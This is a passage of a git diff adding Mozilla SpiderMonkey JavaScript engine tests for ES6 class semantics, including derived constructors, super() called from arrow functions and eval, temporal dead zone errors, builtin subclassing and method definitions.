+ assertThrowsInstanceOf(arrow, ReferenceError);
+ super();
+ assertEq(arrow(), this);
+ }
+}();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalClosed.js b/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalClosed.js
new file mode 100644
index 000000000..431a73c92
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalClosed.js
@@ -0,0 +1,11 @@
+new class extends class { } {
+ constructor() {
+ let a1 = () => this;
+ let a2 = (() => super());
+ assertThrowsInstanceOf(a1, ReferenceError);
+ assertEq(a2(), a1());
+ }
+}();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalEscape.js b/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalEscape.js
new file mode 100644
index 000000000..2676d4b94
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalEscape.js
@@ -0,0 +1,13 @@
+let arrow;
+
+class foo extends class { } {
+ constructor() {
+ arrow = () => this;
+ super();
+ }
+}
+
+assertEq(new foo(), arrow());
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalEscapeUninitialized.js b/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalEscapeUninitialized.js
new file mode 100644
index 000000000..970beb043
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalEscapeUninitialized.js
@@ -0,0 +1,38 @@
+let superArrow;
+let thisArrow;
+
+let thisStash;
+
+class base {
+ constructor() {
+ // We run this constructor twice as part of the double init check
+ if (!thisStash)
+ thisStash = {prop:45};
+ return thisStash;
+ }
+}
+
+class foo extends base {
+ constructor() {
+ superArrow = (()=>super());
+ thisArrow = ()=>this;
+ }
+}
+
+// Populate the arrow function saves. Since we never invoke super(), we throw
+assertThrowsInstanceOf(()=>new foo(), ReferenceError);
+
+// No |this| binding in the closure, yet
+assertThrowsInstanceOf(thisArrow, ReferenceError);
+
+// call super()
+superArrow();
+
+// Can't call it twice
+assertThrowsInstanceOf(superArrow, ReferenceError);
+
+// Oh look, |this| is populated, now.
+assertEq(thisArrow(), thisStash);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalGetThis.js b/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalGetThis.js
new file mode 100644
index 000000000..26f9843d2
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalGetThis.js
@@ -0,0 +1,10 @@
+new class extends class { } {
+ constructor() {
+ super();
+ assertEq(this, (()=>this)());
+ assertEq(this, eval("this"));
+ }
+}();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalNestedSuperCall.js b/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalNestedSuperCall.js
new file mode 100644
index 000000000..d81f18648
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalNestedSuperCall.js
@@ -0,0 +1,34 @@
+new class extends class { } {
+ constructor() {
+ (()=>eval("super()"))();
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+new class extends class { } {
+ constructor() {
+ (()=>(()=>super())())();
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+new class extends class { } {
+ constructor() {
+ eval("(()=>super())()");
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+new class extends class { } {
+ constructor() {
+ eval("eval('super()')");
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalSuperCall.js b/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalSuperCall.js
new file mode 100644
index 000000000..0f60df746
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalSuperCall.js
@@ -0,0 +1,18 @@
+new class extends class { } {
+ constructor() {
+ assertEq(eval("super(); this"), this);
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+new class extends class { } {
+ constructor() {
+ (()=>super())();
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/derivedConstructorInlining.js b/js/src/tests/ecma_6/Class/derivedConstructorInlining.js
new file mode 100644
index 000000000..387ea1d69
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/derivedConstructorInlining.js
@@ -0,0 +1,19 @@
+// Since we (for now!) can't emit jitcode for derived class statements. Make
+// sure we can correctly invoke derived class constructors.
+
+class foo extends null {
+ constructor() {
+ // Anything that tests |this| should throw, so just let it run off the
+ // end.
+ }
+}
+
+function intermediate() {
+ new foo();
+}
+
+for (let i = 0; i < 1100; i++)
+ assertThrownErrorContains(intermediate, "|this|");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/derivedConstructorName.js b/js/src/tests/ecma_6/Class/derivedConstructorName.js
new file mode 100644
index 000000000..13d47addb
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/derivedConstructorName.js
@@ -0,0 +1,11 @@
+class A {
+ constructor() { }
+}
+
+class B extends A { }
+
+var b = new B();
+assertEq(b.constructor.name, "B");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/derivedConstructorReturnPrimitive.js b/js/src/tests/ecma_6/Class/derivedConstructorReturnPrimitive.js
new file mode 100644
index 000000000..8b1594fa8
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/derivedConstructorReturnPrimitive.js
@@ -0,0 +1,15 @@
+class foo extends null {
+ constructor() {
+ // Returning a primitive is a TypeError in derived constructors. This
+ // ensures that super() can take the return value directly, without
+ // checking it. Use |null| here, as a tricky check to make sure we
+ // didn't lump it in with the object check, somehow.
+ return null;
+ }
+}
+
+for (let i = 0; i < 1100; i++)
+ assertThrownErrorContains(() => new foo(), "return");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/derivedConstructorTDZExplicitThis.js b/js/src/tests/ecma_6/Class/derivedConstructorTDZExplicitThis.js
new file mode 100644
index 000000000..fc5dd3858
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/derivedConstructorTDZExplicitThis.js
@@ -0,0 +1,12 @@
+class foo extends null {
+ constructor() {
+ this;
+ assertEq(false, true);
+ }
+}
+
+for (let i = 0; i < 1100; i++)
+ assertThrownErrorContains(() => new foo(), "|this|");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/derivedConstructorTDZOffEdge.js b/js/src/tests/ecma_6/Class/derivedConstructorTDZOffEdge.js
new file mode 100644
index 000000000..145b12d2a
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/derivedConstructorTDZOffEdge.js
@@ -0,0 +1,11 @@
+class foo extends null {
+ constructor() {
+ // Let it fall off the edge and throw.
+ }
+}
+
+for (let i = 0; i < 1100; i++)
+ assertThrownErrorContains(() => new foo(), "|this|");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/derivedConstructorTDZReturnAliasedTry.js b/js/src/tests/ecma_6/Class/derivedConstructorTDZReturnAliasedTry.js
new file mode 100644
index 000000000..3399c69b0
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/derivedConstructorTDZReturnAliasedTry.js
@@ -0,0 +1,14 @@
+class base {}
+class derived extends base {
+ constructor() {
+ try {
+ (function() { p1(eval()) }())
+ } catch (e) {
+ return
+ }
+ }
+}
+assertThrowsInstanceOf(()=>new derived(), ReferenceError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/derivedConstructorTDZReturnObject.js b/js/src/tests/ecma_6/Class/derivedConstructorTDZReturnObject.js
new file mode 100644
index 000000000..48206a881
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/derivedConstructorTDZReturnObject.js
@@ -0,0 +1,13 @@
+class foo extends null {
+ constructor() {
+ // If you return an object, we don't care that |this| went
+ // uninitialized
+ return {};
+ }
+}
+
+for (let i = 0; i < 1100; i++)
+ new foo();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/derivedConstructorTDZReturnTry.js b/js/src/tests/ecma_6/Class/derivedConstructorTDZReturnTry.js
new file mode 100644
index 000000000..96791c0e7
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/derivedConstructorTDZReturnTry.js
@@ -0,0 +1,16 @@
+class base {}
+class derived extends base {
+ constructor() {
+ try {
+ return;
+ } catch (e) {
+ try {
+ return;
+ } catch (e) {}
+ }
+ }
+}
+assertThrowsInstanceOf(() => new derived, ReferenceError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/derivedConstructorTDZReturnUndefined.js b/js/src/tests/ecma_6/Class/derivedConstructorTDZReturnUndefined.js
new file mode 100644
index 000000000..ab31b7aed
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/derivedConstructorTDZReturnUndefined.js
@@ -0,0 +1,13 @@
+class foo extends null {
+ constructor() {
+ // Explicit returns of undefined should act the same as falling off the
+ // end of the function. That is to say, they should throw.
+ return undefined;
+ }
+}
+
+for (let i = 0; i < 1100; i++)
+ assertThrownErrorContains(() => new foo(), "|this|");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/extendBuiltinConstructors.js b/js/src/tests/ecma_6/Class/extendBuiltinConstructors.js
new file mode 100644
index 000000000..480dd7b57
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/extendBuiltinConstructors.js
@@ -0,0 +1,111 @@
+function testBuiltinInstanceIsInstanceOf(instance, builtin, class_) {
+ assertEq(instance instanceof class_, true);
+ assertEq(instance instanceof builtin, true);
+
+ if (builtin === Array)
+ assertEq(Array.isArray(instance), true);
+}
+
+function testBuiltinInstance(builtin, ...args) {
+ class sub extends builtin {
+ constructor(...args) {
+ super(...args);
+ this.called = true;
+ }
+ }
+
+ let instance = new sub(...args);
+ assertEq(instance.called, true);
+ testBuiltinInstanceIsInstanceOf(instance, builtin, sub);
+}
+
+function testBuiltinMultipleSubclasses(builtin, ...args) {
+ function f(obj, prop) {
+ assertEq(obj.prop, prop);
+ }
+
+ class sub1 extends builtin { };
+ class sub2 extends builtin { };
+
+ const prop1 = "A";
+ const prop2 = "B";
+
+ sub1.prototype.prop = prop1;
+ sub2.prototype.prop = prop2;
+
+ let instance1 = new sub1(...args);
+ let instance2 = new sub2(...args);
+
+ // Also make sure we get the properties we want with a default constructor
+ testBuiltinInstanceIsInstanceOf(instance1, builtin, sub1);
+
+ for (let i = 0; i < 10; i++) {
+ f(instance1, prop1);
+ f(instance2, prop2);
+ }
+}
+
+function testBuiltin(builtin, ...args) {
+ testBuiltinInstance(builtin, ...args);
+ testBuiltinMultipleSubclasses(builtin, ...args);
+}
+
+function testBuiltinTypedArrays() {
+ let typedArrays = [Int8Array,
+ Uint8Array,
+ Uint8ClampedArray,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array];
+
+ for (let array of typedArrays) {
+ testBuiltin(array);
+ testBuiltin(array, 5);
+ testBuiltin(array, new array());
+ testBuiltin(array, new ArrayBuffer());
+ }
+}
+
+testBuiltin(Function);
+testBuiltin(Object);
+testBuiltin(Boolean);
+testBuiltin(Error);
+testBuiltin(EvalError);
+testBuiltin(RangeError);
+testBuiltin(ReferenceError);
+testBuiltin(SyntaxError);
+testBuiltin(TypeError);
+testBuiltin(URIError);
+testBuiltin(Number);
+testBuiltin(Date);
+testBuiltin(Date, 5);
+testBuiltin(Date, 5, 10);
+testBuiltin(RegExp);
+testBuiltin(RegExp, /Regexp Argument/);
+testBuiltin(RegExp, "String Argument");
+testBuiltin(Map);
+testBuiltin(Set);
+testBuiltin(WeakMap);
+testBuiltin(WeakSet);
+testBuiltin(ArrayBuffer);
+testBuiltinTypedArrays();
+testBuiltin(DataView, new ArrayBuffer());
+testBuiltin(DataView, new (newGlobal().ArrayBuffer)());
+testBuiltin(String);
+testBuiltin(Array);
+testBuiltin(Array, 15);
+testBuiltin(Array, 3.0);
+testBuiltin(Array, "non-length one-arg");
+testBuiltin(Array, 5, 10, 15, "these are elements");
+// More Promise subclassing tests can be found in ecma_6/Promise/promise-subclassing.js
+if (typeof Promise !== "undefined")
+ testBuiltin(Promise, _=>{});
+
+if (this.SharedArrayBuffer)
+ testBuiltin(SharedArrayBuffer);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/geterNoExprClosure.js b/js/src/tests/ecma_6/Class/geterNoExprClosure.js
new file mode 100644
index 000000000..e37cb287a
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/geterNoExprClosure.js
@@ -0,0 +1,20 @@
+// getter/setter with expression closure is allowed only in object literal.
+
+assertThrowsInstanceOf(() => eval(`
+ class foo {
+ constructor() {}
+
+ get a() 1
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ class foo {
+ constructor() {}
+
+ set a(v) 1
+ }
+`), SyntaxError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/innerBinding.js b/js/src/tests/ecma_6/Class/innerBinding.js
new file mode 100644
index 000000000..b1afa177e
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/innerBinding.js
@@ -0,0 +1,86 @@
+// Named class definitions should create an immutable inner binding.
+// Since all code in classes is in strict mode, attempts to mutate it
+// should throw.
+class Foof { constructor() { }; tryBreak() { Foof = 4; } }
+for (let result of [Foof, class Bar { constructor() { }; tryBreak() { Bar = 4; } }])
+ assertThrowsInstanceOf(() => new result().tryBreak(), TypeError);
+
+{
+ class foo { constructor() { }; tryBreak() { foo = 4; } }
+ for (let result of [foo, class Bar { constructor() { }; tryBreak() { Bar = 4 } }])
+ assertThrowsInstanceOf(() => new result().tryBreak(), TypeError);
+}
+
+// TDZ applies to inner bindings
+assertThrowsInstanceOf(()=>eval(`class Bar {
+ constructor() { };
+ [Bar] () { };
+ }`), ReferenceError);
+
+assertThrowsInstanceOf(()=>eval(`(class Bar {
+ constructor() { };
+ [Bar] () { };
+ })`), ReferenceError);
+
+// There's no magic "inner binding" global
+{
+ class Foo {
+ constructor() { };
+ test() {
+ class Bar {
+ constructor() { }
+ test() { return Foo === Bar }
+ }
+ return new Bar().test();
+ }
+ }
+ assertEq(new Foo().test(), false);
+ assertEq(new class foo {
+ constructor() { };
+ test() {
+ return new class bar {
+ constructor() { }
+ test() { return foo === bar }
+ }().test();
+ }
+ }().test(), false);
+}
+
+// Inner bindings are shadowable
+{
+ class Foo {
+ constructor() { }
+ test(Foo) { return Foo; }
+ }
+ assertEq(new Foo().test(4), 4);
+ assertEq(new class foo {
+ constructor() { };
+ test(foo) { return foo }
+ }().test(4), 4);
+}
+
+// Inner bindings in expressions should shadow even existing names.
+class Foo { constructor() { } static method() { throw new Error("NO!"); } }
+assertEq(new class Foo {
+ constructor() { };
+ static method() { return 4; };
+ test() { return Foo.method(); }
+ }().test(), 4);
+
+// The outer binding is distinct from the inner one
+{
+ let orig_X;
+
+ class X {
+ constructor() { }
+ f() { assertEq(X, orig_X); }
+ }
+
+ orig_X = X;
+ X = 13;
+ assertEq(X, 13);
+ new orig_X().f();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/ecma_6/Class/member-expr-after-super.js b/js/src/tests/ecma_6/Class/member-expr-after-super.js
new file mode 100644
index 000000000..fa965b24e
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/member-expr-after-super.js
@@ -0,0 +1,44 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+class Base {
+ get test() {
+ return "ok";
+ }
+}
+
+class SuperThenProperty extends Base {
+ constructor() {
+ var result = super().test;
+ return {result};
+ }
+}
+assertEq(new SuperThenProperty().result, "ok");
+
+class SuperThenMember extends Base {
+ constructor() {
+ var result = super()["tes" + String.fromCodePoint("t".codePointAt(0))];
+ return {result};
+ }
+}
+assertEq(new SuperThenMember().result, "ok");
+
+class SuperThenCall extends Function {
+ constructor() {
+ var result = super("o, k", "return o + k;")("o", "k");
+ return {result};
+ }
+}
+assertEq(new SuperThenCall().result, "ok");
+
+class SuperThenTemplateCall extends Function {
+ constructor() {
+ var result = super("cooked", "return cooked[0][0] + cooked.raw[0][1];")`ok`;
+ return {result};
+ }
+}
+assertEq(new SuperThenTemplateCall().result, "ok");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Class/methDefn.js b/js/src/tests/ecma_6/Class/methDefn.js
new file mode 100644
index 000000000..9513bdfb3
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/methDefn.js
@@ -0,0 +1,204 @@
+var BUGNUMBER = 924672;
+var summary = 'Method Definitions'
+
+print(BUGNUMBER + ": " + summary);
+
+// Function definitions.
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e instanceof SyntaxError) {
+ return;
+ }
+ }
+ throw new Error('Expected syntax error: ' + script);
+}
+
+
+// Tests begin.
+
+syntaxError("{a(){}}");
+syntaxError("b = {a(");
+syntaxError("b = {a)");
+syntaxError("b = {a(}");
+syntaxError("b = {a)}");
+syntaxError("b = {a()");
+syntaxError("b = {a()}");
+syntaxError("b = {a(){}");
+syntaxError("b = {a){}");
+syntaxError("b = {a}}");
+syntaxError("b = {a{}}");
+syntaxError("b = {a({}}");
+syntaxError("b = {a@(){}}");
+syntaxError("b = {a() => 0}");
+syntaxError("b = {a() void 0}");
+syntaxError("b = {a() 1}");
+syntaxError("b = {a() false}");
+
+b = {a(){return 5;}};
+assertEq(b.a(), 5);
+
+b = {a(){return "hey";}};
+assertEq(b.a(), "hey");
+
+b = {a(){return arguments;}};
+assertEq(b.a().length, 0);
+
+b = {a(c){return arguments;}};
+assertEq(b.a().length, 0);
+
+b = {a(c){return arguments;}};
+assertEq(b.a(1).length, 1);
+
+b = {a(c){return arguments;}};
+assertEq(b.a(1)[0], 1);
+
+b = {a(c,d){return arguments;}};
+assertEq(b.a(1,2).length, 2);
+
+b = {a(c,d){return arguments;}};
+assertEq(b.a(1,2)[0], 1);
+
+b = {a(c,d){return arguments;}};
+assertEq(b.a(1,2)[1], 2);
+
+// Methods along with other properties.
+syntaxError("b = {,a(){}}");
+syntaxError("b = {@,a(){}}");
+syntaxError("b = {a(){},@}");
+syntaxError("b = {a : 5 , (){}}");
+syntaxError("b = {a : 5@ , a(){}}");
+syntaxError("b = {a : , a(){}}");
+syntaxError("b = {a : 5, a()}}");
+syntaxError("b = {a : 5, a({}}");
+syntaxError("b = {a : 5, a){}}");
+syntaxError("b = {a : 5, a(){}");
+var c = "d";
+b = { a : 5,
+ [c] : "hey",
+ e() {return 6;},
+ get f() {return 7;},
+ set f(g) {this.h = 9;}
+}
+assertEq(b.a, 5);
+assertEq(b.d, "hey");
+assertEq(b.e(), 6);
+assertEq(b.f, 7);
+assertEq(b.h !== 9, true);
+b.f = 15;
+assertEq(b.h, 9);
+
+
+var i = 0;
+var a = {
+ foo0 : function (){return 0;},
+ ["foo" + ++i](){return 1;},
+ ["foo" + ++i](){return 2;},
+ ["foo" + ++i](){return 3;},
+ foo4(){return 4;}
+};
+assertEq(a.foo0(), 0);
+assertEq(a.foo1(), 1);
+assertEq(a.foo2(), 2);
+assertEq(a.foo3(), 3);
+assertEq(a.foo4(), 4);
+
+// Symbols.
+var unique_sym = Symbol("1"), registered_sym = Symbol.for("2");
+a = { [unique_sym](){return 2;}, [registered_sym](){return 3;} };
+assertEq(a[unique_sym](), 2);
+assertEq(a[registered_sym](), 3);
+
+// Method characteristics.
+a = { b(){ return 4;} };
+b = Object.getOwnPropertyDescriptor(a, "b");
+assertEq(b.configurable, true);
+assertEq(b.enumerable, true);
+assertEq(b.writable, true);
+assertEq(b.value(), 4);
+
+// prototype property
+assertEq(a.b.prototype, undefined);
+assertEq(a.b.hasOwnProperty("prototype"), false);
+
+// Defining several methods using eval.
+var code = "({";
+for (i = 0; i < 1000; i++)
+ code += "['foo' + " + i + "]() {return 'ok';}, "
+code += "['bar']() {return 'all ok'}});";
+var obj = eval(code);
+for (i = 0; i < 1000; i++)
+ assertEq(obj["foo" + i](), "ok");
+assertEq(obj["bar"](), "all ok");
+
+// this
+var obj = {
+ a : "hey",
+ meth(){return this.a;}
+}
+assertEq(obj.meth(), "hey");
+
+// Inheritance
+var obj2 = Object.create(obj);
+assertEq(obj2.meth(), "hey");
+
+var obj = {
+ a() {
+ return "hey";
+ }
+}
+assertEq(obj.a.call(), "hey");
+
+// Duplicates
+var obj = {
+ meth : 3,
+ meth() { return 4; },
+ meth() { return 5; }
+}
+assertEq(obj.meth(), 5);
+
+var obj = {
+ meth() { return 4; },
+ meth() { return 5; },
+ meth : 3
+}
+assertEq(obj.meth, 3);
+assertThrowsInstanceOf(function() {obj.meth();}, TypeError);
+
+// Strict mode
+a = {b(c){"use strict";return c;}};
+assertEq(a.b(1), 1);
+a = {["b"](c){"use strict";return c;}};
+assertEq(a.b(1), 1);
+
+// Allow strict-reserved names as methods in objects.
+// (Bug 1124362)
+a = { static() { return 4; } };
+assertEq(a.static(), 4);
+
+a = { get static() { return 4; } };
+assertEq(a.static, 4);
+
+a = { set static(x) { assertEq(x, 4); } };
+a.static = 4;
+
+function testStrictMode() {
+ "use strict";
+ var obj = { static() { return 4; } };
+ assertEq(obj.static(), 4);
+
+ obj = { get static() { return 4; } };
+ assertEq(obj.static, 4);
+
+ obj = { set static(x) { assertEq(x, 4); } };
+ obj.static = 4;
+}
+testStrictMode();
+
+// Tests provided by benvie in the bug to distinguish from ES5 desugar.
+assertEq(({ method() {} }).method.name, "method");
+assertThrowsInstanceOf(function() {({ method() { method() } }).method() }, ReferenceError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Class/methDefnGen.js b/js/src/tests/ecma_6/Class/methDefnGen.js
new file mode 100644
index 000000000..3165ed448
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/methDefnGen.js
@@ -0,0 +1,83 @@
+var BUGNUMBER = 924672;
+var summary = 'Method Definitions - Generators'
+
+print(BUGNUMBER + ": " + summary);
+
+// Function definitions.
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e instanceof SyntaxError) {
+ return;
+ }
+ }
+ throw new Error('Expected syntax error: ' + script);
+}
+
+
+// Tests begin.
+
+syntaxError("{*a(){}}");
+syntaxError("b = {*(){}");
+syntaxError("b = {*{}");
+syntaxError("b = {*){}");
+syntaxError("b = {*({}");
+syntaxError("b = {*(){");
+syntaxError("b = {*()}");
+syntaxError("b = {*a(");
+syntaxError("b = {*a)");
+syntaxError("b = {*a(}");
+syntaxError("b = {*a)}");
+syntaxError("b = {*a()");
+syntaxError("b = {*a()}");
+syntaxError("b = {*a(){}");
+syntaxError("b = {*a){}");
+syntaxError("b = {*a}}");
+syntaxError("b = {*a{}}");
+syntaxError("b = {*a({}}");
+syntaxError("b = {*a@(){}}");
+syntaxError("b = {*@(){}}");
+syntaxError("b = {*get a(){}}");
+syntaxError("b = {get *a(){}}");
+syntaxError("b = {get a*(){}}");
+syntaxError("b = {*set a(c){}}");
+syntaxError("b = {set *a(c){}}");
+syntaxError("b = {set a*(c){}}");
+syntaxError("b = {*a : 1}");
+syntaxError("b = {a* : 1}");
+syntaxError("b = {a :* 1}");
+syntaxError("b = {a*(){}}");
+
+// Generator methods.
+b = { * g() {
+ var a = { [yield 1]: 2, [yield 2]: 3};
+ return a;
+} }
+var it = b.g();
+var next = it.next();
+assertEq(next.done, false);
+assertEq(next.value, 1);
+next = it.next("hello");
+assertEq(next.done, false);
+assertEq(next.value, 2);
+next = it.next("world");
+assertEq(next.done, true);
+assertEq(next.value.hello, 2);
+assertEq(next.value.world, 3);
+
+// prototype property
+assertEq(b.g.hasOwnProperty("prototype"), true);
+
+// Strict mode
+a = {*b(c){"use strict";yield c;}};
+assertEq(a.b(1).next().value, 1);
+a = {*["b"](c){"use strict";return c;}};
+assertEq(a.b(1).next().value, 1);
+
+// Generators should not have [[Construct]]
+a = {*g() { yield 1; }}
+assertThrowsInstanceOf(() => { new a.g }, TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Class/method-named-static.js b/js/src/tests/ecma_6/Class/method-named-static.js
new file mode 100644
index 000000000..c5a2ed882
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/method-named-static.js
@@ -0,0 +1,56 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Instance method named "static", with and without escape sequence.
+assertEq((new class {
+ static() { return "method-static-no-escape"; }
+}).static(), "method-static-no-escape");
+
+assertEq((new class {
+ st\u0061tic() { return "method-static-escape"; }
+}).static(), "method-static-escape");
+
+// Instance getter named "static", with and without escape sequence.
+assertEq((new class {
+ get static() { return "getter-static-no-escape"; }
+}).static, "getter-static-no-escape");
+
+assertEq((new class {
+ get static() { return "getter-static-escape"; }
+}).static, "getter-static-escape");
+
+// Static method named "static", with and without escape sequence.
+assertEq(class {
+ static static() { return "static-method-static-no-escape"; }
+}.static(), "static-method-static-no-escape");
+
+assertEq(class {
+ static st\u0061tic() { return "static-method-static-escape"; }
+}.static(), "static-method-static-escape");
+
+// Static getter named "static", with and without escape sequence.
+assertEq(class {
+ static get static() { return "static-getter-static-no-escape"; }
+}.static, "static-getter-static-no-escape");
+
+assertEq(class {
+ static get st\u0061tic() { return "static-getter-static-escape"; }
+}.static, "static-getter-static-escape");
+
+
+// The static modifier itself must not contain any escape sequences.
+assertThrowsInstanceOf(() => eval(String.raw`
+ class C {
+ st\u0061tic m() {}
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ class C {
+ st\u0061tic get m() {}
+ }
+`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Class/methodInstallation.js b/js/src/tests/ecma_6/Class/methodInstallation.js
new file mode 100644
index 000000000..bbb6c2f72
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/methodInstallation.js
@@ -0,0 +1,101 @@
+// Do the things we write in classes actually appear as they are supposed to?
+
+var methodCalled;
+var getterCalled;
+var setterCalled;
+var constructorCalled;
+var staticMethodCalled;
+var staticGetterCalled;
+var staticSetterCalled;
+class testClass {
+ constructor() { constructorCalled = true; }
+ __proto__() { methodCalled = true }
+ get getter() { getterCalled = true; }
+ set setter(x) { setterCalled = true; }
+ static staticMethod() { staticMethodCalled = true; }
+ static get staticGetter() { staticGetterCalled = true; }
+ static set staticSetter(x) { staticSetterCalled = true; }
+ *[Symbol.iterator]() { yield "cow"; yield "pig"; }
+}
+
+for (let a of [testClass,
+ class {
+ constructor() { constructorCalled = true; }
+ __proto__() { methodCalled = true }
+ get getter() { getterCalled = true; }
+ set setter(x) { setterCalled = true; }
+ static staticMethod() { staticMethodCalled = true; }
+ static get staticGetter() { staticGetterCalled = true; }
+ static set staticSetter(x) { staticSetterCalled = true; }
+ *[Symbol.iterator]() { yield "cow"; yield "pig"; }
+ }]) {
+
+ methodCalled = false;
+ getterCalled = false;
+ setterCalled = false;
+ constructorCalled = false;
+ staticMethodCalled = false;
+ staticGetterCalled = false;
+ staticSetterCalled = false;
+
+ var aConstDesc = Object.getOwnPropertyDescriptor(a.prototype, "constructor");
+ assertEq(aConstDesc.writable, true);
+ assertEq(aConstDesc.configurable, true);
+ assertEq(aConstDesc.enumerable, false);
+ new aConstDesc.value();
+ assertEq(constructorCalled, true);
+
+ // __proto__ is just an identifier for classes. No prototype changes are made.
+ assertEq(Object.getPrototypeOf(a.prototype), Object.prototype);
+ var aMethDesc = Object.getOwnPropertyDescriptor(a.prototype, "__proto__");
+ assertEq(aMethDesc.writable, true);
+ assertEq(aMethDesc.configurable, true);
+ assertEq(aMethDesc.enumerable, false);
+ aMethDesc.value();
+ assertEq(methodCalled, true);
+
+ var aGetDesc = Object.getOwnPropertyDescriptor(a.prototype, "getter");
+ assertEq(aGetDesc.configurable, true);
+ assertEq(aGetDesc.enumerable, false);
+ aGetDesc.get();
+ assertThrowsInstanceOf(() => new aGetDesc.get, TypeError);
+ assertEq(getterCalled, true);
+
+ var aSetDesc = Object.getOwnPropertyDescriptor(a.prototype, "setter");
+ assertEq(aSetDesc.configurable, true);
+ assertEq(aSetDesc.enumerable, false);
+ aSetDesc.set();
+ assertThrowsInstanceOf(() => new aSetDesc.set, TypeError);
+ assertEq(setterCalled, true);
+ assertDeepEq(aSetDesc, Object.getOwnPropertyDescriptor(a.prototype, "setter"));
